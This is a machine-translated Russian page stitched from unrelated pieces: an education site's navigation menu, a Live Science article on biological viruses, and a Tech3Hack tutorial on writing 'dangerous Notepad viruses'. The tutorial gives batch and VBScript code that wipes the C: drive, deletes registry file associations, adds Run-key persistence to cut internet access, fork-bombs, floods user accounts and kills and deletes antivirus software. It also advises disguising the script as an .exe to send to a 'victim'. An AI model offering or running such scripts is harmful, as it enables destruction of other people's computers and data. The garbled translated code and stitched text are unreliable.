Часто игнорируемое, непропатченное программное обеспечение также является ведущим источником вирусной инфекции.Дыры в системе безопасности в программном обеспечении используются злоумышленниками и неизвестны производителям программного обеспечения до тех пор, пока злоумышленники не выпустят их в виде атак нулевого дня. Поэтому рекомендуется устанавливать обновления программного обеспечения , как только они будут доступны на вашем компьютере.
Помимо вышеперечисленных источников, файлообменные сети также могут быть источником компьютерных вирусных атак. Поэтому используйте PC security softwar e, чтобы защитить ваше устройство от злонамеренных попыток.
Примечание — это сообщение в блоге было переиздано с последними фактами и статистикой.
.
Что такое вирусы? Откройте для себя классификацию и свойства вирусов
- БЕСПЛАТНАЯ ЗАПИСЬ КЛАСС
- КОНКУРСНЫЕ ЭКЗАМЕНА
- BNAT
- Классы
- Класс 1-3
- Класс 4-5
- Класс 6-10
- Класс 110003 CBSE
- Книги NCERT
- Книги NCERT для класса 5
- Книги NCERT, класс 6
- Книги NCERT для класса 7
- Книги NCERT для класса 8
- Книги NCERT для класса 9
- Книги NCERT для класса 10
- NCERT Книги для класса 11
- NCERT Книги для класса 12
- NCERT Exemplar
- NCERT Exemplar Class 8
- NCERT Exemplar Class 9
- NCERT Exemplar Class 10
- NCERT Exemplar Class 11
9plar
- Книги NCERT
- RS Aggarwal
- RS Aggarwal Решения класса 12
- RS Aggarwal Class 11 Solutions
- RS Aggarwal Решения класса 10
- Решения RS Aggarwal класса 9
- Решения RS Aggarwal класса 8
- Решения RS Aggarwal класса 7
- Решения RS Aggarwal класса 6
- RD Sharma
- RD Sharma Class 6 Решения
- RD Sharma Class 7 Решения
- Решения RD Sharma Class 8
- Решения RD Sharma Class 9
- Решения RD Sharma Class 10
- Решения RD Sharma Class 11
- Решения RD Sharma Class 12
- PHYSICS
- Механика
- Оптика
- Термодинамика
- Электромагнетизм
- ХИМИЯ
- Органическая химия
- Неорганическая химия
- Периодическая таблица
- MATHS
- Статистика
- 9000 Pro Числа
- Числа
- 9000 Pro Числа Тр Игонометрические функции
- Взаимосвязи и функции
- Последовательности и серии
- Таблицы умножения
- Детерминанты и матрицы
- Прибыль и убытки
- Полиномиальные уравнения
- Деление фракций
- Microology
- 0003000
- FORMULAS
- Математические формулы
- Алгебраные формулы
- Тригонометрические формулы
- Геометрические формулы
- КАЛЬКУЛЯТОРЫ
- Математические калькуляторы
- 000 CALCULATORS
- 000
- 000 Калькуляторы по химии 900 Образцы документов для класса 6
- Образцы документов CBSE для класса 7
- Образцы документов CBSE для класса 8
- Образцы документов CBSE для класса 9
- Образцы документов CBSE для класса 10
- Образцы документов CBSE для класса 1 1
- Образцы документов CBSE для класса 12
0003000
- Вопросники предыдущего года CBSE
- Вопросники предыдущего года CBSE, класс 10
- Вопросники предыдущего года CBSE, класс 12
- HC Verma Solutions
- HC Verma Solutions Класс 11 Физика
- HC Verma Solutions Класс 12 Физика
- Решения Лакмира Сингха
- Решения Лахмира Сингха класса 9
- Решения Лахмира Сингха класса 10
- Решения Лакмира Сингха класса 8
9000 Класс
9000BSE 9000 Примечания3 2 6 Примечания CBSE
Примечания
- Дополнительные вопросы по математике класса 8 CBSE
- Дополнительные вопросы по науке 8 класса CBSE
- Дополнительные вопросы по математике класса 9 CBSE
- Дополнительные вопросы по математике класса 9 CBSE Вопросы
- CBSE Class 10 Дополнительные вопросы по математике
- CBSE Class 10 Science Extra questions
- Class 3
- Class 4
- Class 5
- Class 6
- Class 7
- Class 8 Класс 9
- Класс 10
- Класс 11
- Класс 12
- Решения NCERT для класса 11
- Решения NCERT для класса 11 по физике
- Решения NCERT для класса 11 Химия
- Решения NCERT для биологии класса 11
- Решение NCERT s Для класса 11 по математике
- NCERT Solutions Class 11 Accountancy
- NCERT Solutions Class 11 Business Studies
- NCERT Solutions Class 11 Economics
- NCERT Solutions Class 11 Statistics
- NCERT Solutions Class 11 Commerce
- NCERT Solutions for Class 12
- Решения NCERT для физики класса 12
- Решения NCERT для химии класса 12
- Решения NCERT для биологии класса 12
- Решения NCERT для математики класса 12
- Решения NCERT, класс 12, бухгалтерский учет
- Решения NCERT, класс 12, бизнес-исследования
- NCERT Solutions Class 12 Economics
- NCERT Solutions Class 12 Accountancy Part 1
- NCERT Solutions Class 12 Accountancy Part 2
- NCERT Solutions Class 12 Micro-Economics
- NCERT Solutions Class 12 Commerce
- NCERT Solutions Class 12 Macro-Economics
- NCERT Solut Ионы Для класса 4
- Решения NCERT для математики класса 4
- Решения NCERT для класса 4 EVS
- Решения NCERT для класса 5
- Решения NCERT для математики класса 5
- Решения NCERT для класса 5 EVS
- Решения NCERT для класса 6
- Решения NCERT для математики класса 6
- Решения NCERT для науки класса 6
- Решения NCERT для класса 6 по социальным наукам
- Решения NCERT для класса 6 Английский язык
- Решения NCERT для класса 7
- Решения NCERT для математики класса 7
- Решения NCERT для науки класса 7
- Решения NCERT для социальных наук класса 7
- Решения NCERT для класса 7 Английский язык
- Решения NCERT для класса 8
- Решения NCERT для математики класса 8
- Решения NCERT для науки 8 класса
- Решения NCERT для социальных наук 8 класса ce
- Решения NCERT для класса 8 Английский
- Решения NCERT для класса 9
- Решения NCERT для класса 9 по социальным наукам
- Решения NCERT для математики класса 9
- Решения NCERT для математики класса 9 Глава 1
- Решения NCERT для математики класса 9, глава 2
- для математики класса 9, глава 3
- Решения NCERT для математики класса 9, глава 4
- Решения NCERT для математики класса 9, глава 5
- для математики класса 9, глава 6
- Решения NCERT для математики класса 9, глава 7
- для математики класса 9, глава 8
- Решения NCERT для математики класса 9, глава 9
- Решения NCERT для математики класса 9, глава 10
- для математики класса 9, глава 11
- NCERT для математики класса 9 Глава 12
- для математики класса 9 Глава 13
- NCER Решения T для математики класса 9 Глава 14
- Решения NCERT для математики класса 9 Глава 15
Решения NCERT
Решения NCERT
Решения NCERT
Решения NCERT
Решения
Решения NCERT
- Решения NCERT для науки класса 9
- Решения NCERT для науки класса 9 Глава 1
- Решения NCERT для науки класса 9 Глава 2
- Решения NCERT для науки класса 9 Глава 3
- Решения NCERT для науки класса 9 Глава 4
- Решения NCERT для науки класса 9 Глава 5
- Решения NCERT для науки класса 9 Глава 6
- Решения NCERT для науки класса 9 Глава 7
- Решения NCERT для науки класса 9 Глава 8
- Решения NCERT для науки класса 9 Глава 9
- Решения NCERT для науки класса 9 Глава 10
- Решения NCERT для науки класса 9 Глава 12
- Решения NCERT для науки класса 9 Глава 11
- Решения NCERT для науки класса 9 Глава 13
- для науки класса 9 Глава 14
- Решения NCERT для класса 9 по науке Глава 15
Решения NCERT
- Решения NCERT для класса 10
- Решения NCERT для класса 10 по социальным наукам
- Решения NCERT для математики класса 10
- Решения NCERT для класса 10 по математике Глава 1
- Решения NCERT для математики класса 10, глава 2
- Решения NCERT для математики класса 10, глава 3
- Решения NCERT для математики класса 10, глава 4
- Решения NCERT для математики класса 10, глава 5
- Решения NCERT для математики класса 10, глава 6
- Решения NCERT для математики класса 10, глава 7
- Решения NCERT для математики класса 10, глава 8
- Решения NCERT для математики класса 10, глава 9
- Решения NCERT для математики класса 10, глава 10
- Решения NCERT для математики класса 10 Глава 11
- Решения NCERT для математики класса 10 Глава 12
- Решения NCERT для математики класса 10 Глава ter 13
- Решения NCERT для математики класса 10, глава 14
- Решения NCERT для математики класса 10, глава 15
- Решения NCERT для науки класса 10
- Решения NCERT для класса 10, наука, глава 1
- Решения NCERT для класса 10 Наука, глава 2
- Решения NCERT для класса 10, глава 3
- Решения NCERT для класса 10, глава 4
- Решения NCERT для класса 10, глава 5
- Решения NCERT для класса 10, глава 6
- Решения NCERT для класса 10 Наука, глава 7
- Решения NCERT для класса 10, глава 8
- Решения NCERT для класса 10, глава 9
- Решения NCERT для класса 10, глава 10
- Решения NCERT для класса 10, глава 11
- Решения NCERT для класса 10 Наука Глава 12
- Решения NCERT для класса 10 Наука Глава 13
- NCERT S Решения для класса 10 по науке Глава 14
- Решения NCERT для класса 10 по науке Глава 15
- Решения NCERT для класса 10 по науке Глава 16
- Программа NCERT
- NCERT
- Class 11 Commerce Syllabus
- Учебный план класса 11
- Учебный план класса 11
- Учебный план экономического факультета 11
- Учебный план по коммерции класса 12
- Учебный план класса 12
- Учебный план класса 12
- Учебный план
- Класс 12 Образцы документов для коммерции
- Образцы документов для коммерции класса 11
- Образцы документов для коммерции класса 12
- TS Grewal Solutions
- TS Grewal Solutions Class 12 Accountancy
- TS Grewal Solutions Class 11 Accountancy
- Отчет о движении денежных средств 9 0004
- Что такое предпринимательство
- Защита прав потребителей
- Что такое основные средства
- Что такое баланс
- Что такое фискальный дефицит
- Что такое акции
- Разница между продажами и маркетингом
- ICC
- Образцы документов ICSE
- Вопросы ICSE
- ML Aggarwal Solutions
- ML Aggarwal Solutions Class 10 Maths
- ML Aggarwal Solutions Class 9 Maths
- ML Aggarwal Solutions Class 8 Maths
- ML Aggarwal Solutions Class 7 Maths Решения Математика класса 6
- Решения Селины
- Решения Селины для класса 8
- Решения Селины для класса 10
- Решение Селины для класса 9
- Решения Фрэнка
- Решения Фрэнка для математики класса 10
- Франк Решения для математики 9 класса
9000 4
- ICSE Class
- ICSE Class 6
- ICSE Class 7
- ICSE Class 8
- ICSE Class 9
- ICSE Class 10
- ISC Class 11
- ISC Class 12
03
- 900 Экзамен по IAS
- Мок-тест IAS 2019 1
- Мок-тест IAS4
2
- Экзамен KPSC KAS
- Экзамен UPPSC PCS
- Экзамен MPSC
- Экзамен RPSC RAS
- TNPSC Group 1
- APPSC Group 1
- Экзамен BPSC
- Экзамен WPSC
- Экзамен
- Экзамен GPSC
- Ответный ключ UPSC 2019
- Коучинг IAS Бангалор
- Коучинг IAS Дели
- Коучинг IAS Ченнаи
- Коучинг IAS Хайдарабад
- Коучинг IAS Мумбаи
9000 JEE 9000 JEE 9000 Advanced
- Программа BYJU NEET
- NEET 2020
- NEET Eligibility
- NEET Eligibility
- NEET Eligibility 2020 Подготовка
- NEET Syllabus
- Support
- Разрешение жалоб
- Служба поддержки
- Центр поддержки
- GSEB
- GSEB Syllabus
GSEB Образец
003 GSEB Books
- MSBSHSE Syllabus
- MSBSHSE Учебники
- MSBSHSE Образцы статей
- MSBSHSE Вопросы
- 9000
- AP 2 Year Syllabus
- MP Board Syllabus
- MP Board Образцы документов
- MP Board Учебники
- Assam Board Syllabus
- Assam Board
- Assam Board
- Assam Board Документы
- Bihar Board Syllabus
- Bihar Board Учебники
- Bihar Board Question Papers
- Bihar Board Model Papers
- Odisha Board
- Odisha Board
- Odisha Board
- ПСЕБ 9 0002
- PSEB Syllabus
- PSEB Учебники
- PSEB Вопросы и ответы
- RBSE
- Rajasthan Board Syllabus
- RBSE Учебники
- RBSE
- 000 RBSE
- 000 HPOSE
- 000 HPOSE
- 000
- 000
000 HPOSE
000 HPOSE
000
- 000 HPOSE
- 000
000 HPOSE
000 Контрольные документы
- JKBOSE Syllabus
- JKBOSE Образцы документов
- JKBOSE Образец экзамена
- TN Board Syllabus
9000 Papers 9000 TN Board Syllabus
9000 Книги
- Программа обучения JAC
- Учебники JAC
- Вопросы JAC
- Telangana Board Syllabus
- Telangana Board Textbook
- Telangana Board Textbook
- Telangana Board Textbook
- KSEEB
- KSEEB Syllabus
- KSEEB Типовой вопросник
- KBPE
- KBPE Syllabus
- Учебники KBPE
- KBPE
0
- 9000 UPMS Board UPMS
- Документы с вопросами UP Board
.
Как создать опасный вирус для блокнота [10+ кодов] — Tech3Hack
Вы когда-нибудь думали о создании компьютерного вируса самостоятельно? Не беспокойтесь, вот полное руководство, которое расскажет вам, как шаг за шагом создать простой, но опасный вирус для блокнота, с объяснениями! 😎
Как вы все знаете, вирус — это не что иное, как вредоносная программа, которая проникает в систему без разрешения и влияет на данные и работу операционной системы. Вирусы выполняют нежелательные задачи, такие как репликация самих себя, повреждение файлов пользователей и т. Д., Поэтому, по сути, мы собираемся создать несколько нежелательных сценариев, которые мы можем выполнить, чтобы разрушить или сломать систему.
Если вы предпочитаете видеоуроки с сообщениями на Tech3Hack, нажмите «Подписаться» ниже:
Также подпишитесь на мгновенную техническую дозу:
Подробнее:
Создать исполняемый файл вируса для блокнота (.exe) с помощью пакетного сценария
Прежде всего, что такое пакетный сценарий, тем, кто не знает, взгляните ниже:
«Это просто текстовый файл, содержащий серию команд, которые выполняются автоматически, строка за строкой, когда командный файл запускается.”
Используя пакетный файл, вы можете создать чрезвычайно опасный вирус, который может удалять файлы Windows, форматировать различные диски [C: \, E:], красть файлы данных и информацию, отключать антивирус, брандмауэр и т. Д.
ПРИМЕЧАНИЕ: Этот пост предназначен исключительно и в основном для образовательных целей. Я нигде не несу ответственности за любой ущерб, причиненный этим руководством, для получения дополнительной информации прочтите наш отказ от ответственности.
Напишите опасный вирус в Блокноте / текстовом редакторе
Готовы ли вы создать свой первый вирус DIY Notepad, давайте приступим к делу,
Прежде всего, вам, очевидно, нужен ПК с Windows.😉
Для этого руководства по созданию простого вируса для блокнота вам не нужно быть закоренелым программистом или кем-то в этом роде, но базовые знания блок-схем и циклов очень помогут вам понять, что здесь происходит. Итак, давайте приступим к созданию троянского вируса с помощью блокнота для запуска из командной строки (cmd) в Windows 10, 8 / 8.1, 7 или XP.
Теперь откройте приложение «Блокнот» и скопируйте (Ctrl + C) и вставьте (Ctrl + V) коды, приведенные ниже, один за другим для разных вирусов в другой файл.
Скопируйте (Ctrl + C) и вставьте (Ctrl + V) исходный код
Примечание : Я не несу ответственности за сообщения о повреждениях или ошибках на вашем ПК, делайте это на свой страх и риск.
Предупреждение: Не пытайтесь использовать это на своем повседневном рабочем компьютере.
Вы читали мои предыдущие посты, будет здорово посмотреть;
Исходные коды вируса Блокнота приведены ниже:
1. Отключить Интернет навсегда
Этот код навсегда отключит подключение к Интернету.
эхо @ эхо выкл> c: windowswimn32.bat эхо прервано> c: windowswimn32.bat echo ipconfig / release_all> c: windowswimn32.bat echo end> c: windowswimn32.batreg добавить hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun / v WINDOWsAPI / t reg_sz / d c: windowswimn32.bat / freg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun / v CONTROLexit / t reg_sz / d c: windowswimn32.bat / fecho Вас взломали! ПАУЗА
2. Удалить ключевые файлы реестра
Это приведет к удалению ключевых файлов реестра, а затем зациклится сообщение
Это опасный и невосстановимый вирус Блокнота.
@ECHO ВЫКЛ. НАЧАТЬ reg удалить HKCR / .exe НАЧАТЬ reg удалить HKCR / .dll НАЧАТЬ reg удалить HKCR / * :СООБЩЕНИЕ ECHO Ваш компьютер разбился. Ваш папа. НАЙТИ СООБЩЕНИЕ
3. Бесконечные блокноты
При этом будут появляться бесконечные блокноты, пока компьютер не зависнет и не выйдет из строя
@ECHO off :Топ ЗАПУСК% SystemRoot% \ system32 \ notepad.exe GOTO top
4. Извлечение дисководов компакт-дисков
При этом дисководы компакт-дисков будут постоянно выдвигаться.
Установите oWMP = CreateObject (”WMPlayer.OCX.7 ″) Установите colCDROMs = oWMP.cdromCollection делать если colCDROMs.Count> = 1, то Для i = 0 в colCDROMs.Count - 1 colCDROMs.Item (i) .Eject следующий Для i = 0 в colCDROMs.Count - 1 colCDROMs.Item (i) .Eject следующий Конец, если wscript.sleep 100 loop
5. Бесконечный ввод
Это заставит кнопку ввода постоянно нажимать
Set wshShell = wscript.CreateObject ("WScript.Shell") делать wscript.sleep 100 wshshell.sendkeys «~ (ввод)» петля
6.Application Bomber
Он начнет многократно открывать различные приложения, что повлияет на производительность системы.
Вы также можете добавить приложение по вашему выбору в код выше.
@ эхо выкл. :Икс начать winword запустить mspaint запустить блокнот начать писать запустить cmd начать исследователь управление запуском начать расчет goto x
7.Folder Flooder
Это создаст неограниченное количество файлов. папок.
@ эхо выкл. :Икс md% random% / папка.goto x
8. Flooder учетной записи пользователя
Это создаст большой номер. учетной записи пользователя на своем ПК и переходит на
@echo off : xnet пользователь% random% / добавить goto x
9.Process Creator
Это создаст неограниченное количество фоновых процессов
% 0 |% 0
10.Windows Hacker
Это удалит весь ваш диск C: \, и его невозможно восстановить
@Echo off Del C: \ *. * | Y
10+. Anti Virus Disabler
Этот большой код отключает любой антивирус, установленный в системе
@ echo off rem rem навсегда убить антивирус net stop «Центр безопасности» брандмауэр netsh установить режим opmode = отключить tskill / A ср * tskill / Пожар * tskill / A анти * cls tskill / шпион * tskill / Булгард tskill / A PersFw tskill / A KAV * tskill / ЗОНАЛЬНАЯ СИГНАЛИЗАЦИЯ tskill / A SAFEWEB cls tskill / шпион * tskill / Булгард tskill / A PersFw tskill / A KAV * tskill / ЗОНАЛЬНАЯ СИГНАЛИЗАЦИЯ tskill / A SAFEWEB cls tskill / А ВЫХОД tskill / A nv * tskill / навигация * tskill / A F- * tskill / A ESAFE tskill / A cle cls tskill / A BLACKICE tskill / A def * tskill / A kav tskill / Кав * tskill / A в среднем * tskill / A ясень * cls tskill / A aswupdsv tskill / Эвид * tskill / Охранник * tskill / А гуар * tskill / A gcasDt * tskill / MSMP * cls tskill / A mcafe * tskill / A mghtml tskill / A msiexec tskill / Аванпост tskill / A isafe tskill / A zap * cls tskill / Зауинст tskill / A upd * tskill / A zlclien * tskill / Минилог tskill / A cc * tskill / A norton * cls tskill / A norton au * tskill / A ccc * tskill / НПФМН * tskill / Лодж * tskill / A nisum * tskill / A issvc tskill / A tmp * cls tskill / A tmn * tskill / A pcc * tskill / A cpd * tskill / Поп * tskill / Пав * tskill / A padmincls tskill / панда * тскилл / А авщ * tskill / A sche * tskill / Симан * tskill / вирус * tskill / Царство * cls tskill / развертка * tskill / сканирование * tskill / A ad- * tskill / Сейф * tskill / A avas * tskill / Норма * cls tskill / A offg * del / Q / F C: \ Program Files \ alwils ~ 1 \ avast4 \ *.* del / Q / F C: \ Program Files \ Lavasoft \ Ad-awa ~ 1 \ *. exe del / Q / F C: \ Program Files \ kasper ~ 1 \ *. exe cls del / Q / F C: \ Program Files \ trojan ~ 1 \ *. exe del / Q / F C: \ Program Files \ f-prot95 \ *. dll del / Q / F C: \ Program Files \ tbav \ *. datcls del / Q / F C: \ Program Files \ avpersonal \ *. vdf del / Q / F C: \ Program Files \ Norton ~ 1 \ *. cnt del / Q / F C: \ Program Files \ Mcafee \ *. * cls del / Q / F C: \ Program Files \ Norton ~ 1 \ Norton ~ 1 \ Norton ~ 3 \ *. * del / Q / F C: \ Program Files \ Norton ~ 1 \ Norton ~ 1 \ speedd ~ 1 \ *. * del / Q / F C: \ Program Files \ Norton ~ 1 \ Norton ~ 1 \ *.* del / Q / F C: \ Program Files \ Norton ~ 1 \ *. * cls del / Q / F C: \ Program Files \ avgamsr \ *. exe del / Q / F C: \ Program Files \ avgamsvr \ *. exe del / Q / F C: \ Program Files \ avgemc \ *. exe cls del / Q / F C: \ Program Files \ avgcc \ *. exe del / Q / F C: \ Program Files \ avgupsvc \ *. exe дель / Q / F C: \ Program Files \ grisoft del / Q / F C: \ Program Files \ nood32krn \ *. exe del / Q / F C: \ Program Files \ nood32 \ *. exe cls del / Q / F C: \ Program Files \ nod32 del / Q / F C: \ Program Files \ nood32 del / Q / F C: \ Program Files \ kav \ *. exe del / Q / F C: \ Program Files \ kavmm \ *.исполняемый файл del / Q / F C: \ Program Files \ kaspersky \ *. * cls del / Q / F C: \ Program Files \ ewidoctrl \ *. exe del / Q / F C: \ Program Files \ Guard \ *. exe del / Q / F C: \ Program Files \ ewido \ *. exe cls del / Q / F C: \ Program Files \ pavprsrv \ *. exe del / Q / F C: \ Program Files \ pavprot \ *. exe del / Q / F C: \ Program Files \ avengine \ *. exe cls del / Q / F C: \ Program Files \ apvxdwin \ *. exe del / Q / F C: \ Program Files \ webproxy \ *. exe дель / Q / F C: \ Program Files \ панда программного обеспечения\*.* rem
После копирования и вставки любого из вирусов за раз в Блокноте сохраните файл в режиме ВСЕ ФАЙЛЫ с расширением «.bat “(без кавычек, как показано на изображении).
Сохраните файл в режиме ВСЕ ФАЙЛЫ с расширением «.bat».
ВЫПОЛНЕНО: Вы успешно создали вирус для Блокнота. Вот и все, теперь вы закончили делать свою работу, теперь вам нужно отправить файл жертве.
Готово, создание командного файла
Недостатком вируса, содержащего пакетный файл, является то, что любой может открыть его с помощью блокнота и легко прочитать команды, а также удалить, если он окажется вредоносным. Итак, чтобы преодолеть это ограничение / недостаток, вы можете использовать инструмент под названием «Пакетный преобразователь в исполняемый файл».Он преобразует расширение « .bat » в расширение « .exe ». Следовательно, ваш командный файл будет преобразован в приложение Windows. Это поможет убедить вашу жертву открыть файл.
Bat2Exe
Загрузите BatToExe для простого преобразования командных файлов в исполняемые файлы, нажав здесь
ПРИМЕЧАНИЕ: Это руководство предназначено только для компьютеров под управлением Windows, эти вирусы не работают на Linux или MAC.
Также читайте:
Завершение работы
Итак, друзья надеются, что вам понравился пост о , как создать вирус блокнота с использованием пакетного сценария , я сделал это руководство более информативным, попробуйте создать их вирус самостоятельно, если вы столкнетесь с какой-либо проблемой и вам понадобится помощь, не стесняйтесь комментировать, я всегда здесь для вашей помощи и не забудьте поделиться этим сообщением с друзьями, если вы нашли его полезным и приятным, а также за поддержку меня в будущем в ближайшем будущем.
Если вы предпочитаете видеоуроки с сообщениями на Tech3Hack, то нажмите «Подписаться» ниже:
Также, подпишитесь на мгновенную техническую дозу:
До свидания, и не забудьте подписаться на нашу рассылку, заполнив форму ниже.
Продолжайте посещать, продолжайте учиться.
Статьи по теме
Поделиться — это сексуально, попробуйте:
Связанные
.
Что такое вирусы? | Живая наука
Вирусы — микроскопические паразиты, обычно намного меньше бактерий. Им не хватает способности развиваться и воспроизводиться вне тела хозяина.
В большинстве случаев вирусы имеют репутацию причин заражения. Широко распространенные случаи болезней и смертей, несомненно, укрепили такую репутацию. Скорее всего, на ум приходят вспышка Эболы в Западной Африке в 2014 году и пандемия h2N1 / свиного гриппа 2009 года (широко распространенная глобальная вспышка).Хотя такие вирусы, безусловно, являются коварными противниками для ученых и медицинских работников, другие подобные вирусы сыграли важную роль в качестве исследовательских инструментов; углубление понимания основных клеточных процессов, таких как механика синтеза белка и самих вирусов.
Discovery
Насколько меньше большинство вирусов по сравнению с бактериями? Немного. При диаметре 220 нанометров вирус кори примерно в 8 раз меньше, чем бактерий E.coli .При длине волны 45 нм вирус гепатита примерно в 40 раз меньше, чем E.coli . Чтобы понять, насколько это мало, Дэвид Р. Весснер, профессор биологии в Дэвидсон-колледже, приводит аналогию в статье 2010 года, опубликованной в журнале Nature Education: вирус полиомиелита диаметром 30 нм примерно в 10 000 раз меньше, чем крупица соли. Такие различия в размерах между вирусами и бактериями давали решающий первый ключ к существованию первых.
К концу XIX века представление о том, что микроорганизмы, особенно бактерии, могут вызывать заболевания, было хорошо обосновано.Тем не менее, исследователи, изучающие вызывающую беспокойство болезнь табака — болезнь табачной мозаики — были несколько озадачены ее причиной.
В исследовательской работе 1886 года, озаглавленной «Относительно мозаичной болезни табака», Адольф Майер, немецкий химик и исследователь сельского хозяйства, опубликовал результаты своих обширных экспериментов. В частности, Майер обнаружил, что когда он измельчал инфицированные листья и вводил ядовитый сок в жилки здоровых листьев табака, это приводило к появлению желтоватых пятен и обесцвечиванию, характерных для болезни.Майер правильно предположил, что все, что вызывает болезнь табачной мозаики, было в соке листьев. Однако более конкретные результаты ускользнули от него. Майер был уверен, что все, что вызывает болезнь, имеет бактериальное происхождение, но он не смог выделить возбудителя болезни или идентифицировать его под микроскопом. Он также не мог воссоздать болезнь, вводя в здоровые растения ряд известных бактерий.
В 1892 году русский студент по имени Дмитрий Ивановский, по сути, повторил эксперименты Майера по приготовлению сока, но с небольшим изменением.Согласно статье 1972 года, опубликованной в журнале Bacteriological Reviews, Ивановский пропускал сок из инфицированных листьев через фильтр Чемберленда — фильтр, достаточно тонкий, чтобы улавливать бактерии и другие известные микроорганизмы. Несмотря на просеивание, жидкий фильтрат оставался заразным, предлагая новую часть головоломки; все, что вызывало болезнь, было достаточно маленьким, чтобы пройти через фильтр. Однако Ивановский также пришел к выводу, что причина табачной мозаики была бактериальной, предполагая, что фильтрат «содержал либо бактерии, либо растворимый токсин».«Только в 1898 году было признано наличие вирусов. Голландский ученый Мартинус Бейеринк, подтверждая результаты Ивановского, предположил, что причиной болезни табачной мозаики являются не бактерии, а «живой жидкий вирус», применив к нему устаревший термин «фильтруемый вирус».
Последующие эксперименты Ивановского, Бейеринка и других указали лишь на существование вирусов. Пройдет еще несколько десятилетий, прежде чем кто-нибудь действительно увидит вирус. Согласно статье 2009 года, опубликованной в журнале Clinical Microbiology Reviews, после разработки электронного микроскопа в 1931 году немецкими учеными Эрнстом Руска и Максом Кноллем, первый вирус можно было визуализировать с помощью новой технологии высокого разрешения.Эти первые изображения, сделанные Руской и его коллегами в 1939 году, были вирусом табачной мозаики. Таким образом, открытие вирусов замкнулось.
Это раскрашенное в цифровом виде изображение показывает вирус гриппа h2N1 под просвечивающим электронным микроскопом. В 2009 году этот вирус (тогда он назывался свиным гриппом) вызвал пандемию и, как считается, убил 200 000 человек во всем мире. (Изображение предоставлено Национальным институтом аллергии и инфекционных заболеваний (NIAID))
Структура
Вирусы колеблются на границах того, что считается жизнью.С одной стороны, они содержат ключевые элементы, из которых состоят все живые организмы: нуклеиновые кислоты, ДНК или РНК (у любого вируса может быть только одно или другое). С другой стороны, вирусы не обладают способностью самостоятельно считывать информацию, содержащуюся в этих нуклеиновых кислотах, и воздействовать на нее.
«Минимальный вирус — это паразит, которому требуется репликация (создание большего количества копий самого себя) в клетке-хозяине», — сказал Джаклин Дадли, профессор молекулярной биологии Техасского университета в Остине.«Вирус не может воспроизводить себя вне хозяина, потому что ему не хватает сложного механизма, которым обладает [хозяйская] клетка». Клеточный аппарат хозяина позволяет вирусам производить РНК из своей ДНК (процесс, называемый транскрипцией) и строить белки на основе инструкций, закодированных в их РНК (процесс, называемый трансляцией).
Когда вирус полностью собран и может заразиться, он известен как вирион. По мнению авторов «Медицинской микробиологии 4-е изд.» (Медицинский филиал Техасского университета в Галвестоне, 1996 г.), структура простого вириона состоит из внутреннего ядра нуклеиновой кислоты, окруженного внешней оболочкой из белков, известной как капсид.Капсиды защищают вирусные нуклеиновые кислоты от пережевывания и разрушения специальными ферментами клетки-хозяина, называемыми нуклеазами. У некоторых вирусов есть второй защитный слой, известный как оболочка. Этот слой обычно происходит из клеточной мембраны хозяина; маленькие украденные биты, которые модифицируются и перепрофилируются для использования вирусом.
ДНК или РНК, обнаруженные в ядре вируса, могут быть одноцепочечными или двухцепочечными. Он составляет геном или совокупность генетической информации вируса.Вирусные геномы обычно имеют небольшой размер и кодируют только основные белки, такие как белки капсида, ферменты и белки, необходимые для репликации в клетке-хозяине.
Функция
Основная роль вируса или вириона заключается в «доставке его генома ДНК или РНК в клетку-хозяина, чтобы геном мог быть экспрессирован (транскрибирован и транслирован) клеткой-хозяином», согласно «Медицинской микробиологии». »
Во-первых, вирусам необходимо проникнуть внутрь тела хозяина. Дыхательные пути и открытые раны могут действовать как ворота для вирусов.Иногда насекомые обеспечивают способ проникновения. Некоторые вирусы проникают в слюну насекомого и попадают в организм хозяина после укусов насекомых. По словам авторов «Молекулярной биологии клетки, 4-е издание» (Garland Science, 2002), такие вирусы могут реплицироваться как внутри клеток насекомых, так и в клетках-хозяевах, обеспечивая плавный переход от одного к другому. Примеры включают вирусы, вызывающие желтую лихорадку и лихорадку денге.
Вирусы затем прикрепляются к поверхности клетки-хозяина.Они делают это, распознавая рецепторы на поверхности клетки и связываясь с ними, как две взаимосвязанные части головоломки. Многие разные вирусы могут связываться с одним и тем же рецептором, и один вирус может связываться с разными рецепторами на поверхности клетки. В то время как вирусы используют их в своих интересах, рецепторы на поверхности клетки на самом деле предназначены для обслуживания клетки.
После того, как вирус связывается с поверхностью клетки-хозяина, он может начать перемещаться через внешнее покрытие или мембрану клетки-хозяина. Есть много разных способов входа.ВИЧ, вирус с оболочкой, сливается с мембраной и проталкивается через нее. Другой вирус в оболочке, вирус гриппа, попадает в клетку. Некоторые вирусы без оболочки, такие как вирус полиомиелита, создают пористый канал входа и проникают через мембрану.
Попав внутрь, вирусы высвобождают свои геномы, а также разрушают или захватывают различные части клеточного аппарата. Вирусные геномы заставляют клетки-хозяева в конечном итоге производить вирусные белки (много раз останавливая синтез любой РНК и белков, которые может использовать клетка-хозяин).В конечном итоге вирусы складываются в свою пользу как внутри клетки-хозяина, так и внутри самого хозяина, создавая условия, которые позволяют им распространяться. Например, по данным «Молекулярной биологии клетки», при простуде при чихании выделяется 20 000 капель, содержащих частицы риновируса или коронавируса. Прикосновение к этим каплям или вдох — все, что нужно, чтобы простуда распространилась.
Вид вируса Эбола под микроскопом. (Изображение предоставлено CDC / Cynthia Goldsmith / Public Health Image Library)
Новые открытия
Понимание взаимоотношений между вирусами началось с выявления сходства по размеру и форме, содержат ли вирусы ДНК или РНК и в какой форме.Благодаря более совершенным методам секвенирования и сравнения вирусных геномов и постоянному притоку новых научных данных, то, что мы знаем о вирусах и их истории, постоянно уточняется.
До 1992 года представление о том, что вирусы намного меньше бактерий с крошечным геномом, считалось само собой разумеющимся. По словам Весснера, в том году ученые обнаружили структуру, похожую на бактерии, внутри некоторых амеб в градирне. Как оказалось, они обнаружили не бактериальный вид, а очень большой вирус, который они назвали мимивирусом.Размер вируса составляет около 750 нм, и он также может иметь те же свойства окрашивания, что и грамположительные бактерии. За этим последовало открытие других крупных вирусов, таких как Mamavirus и Megavirus.
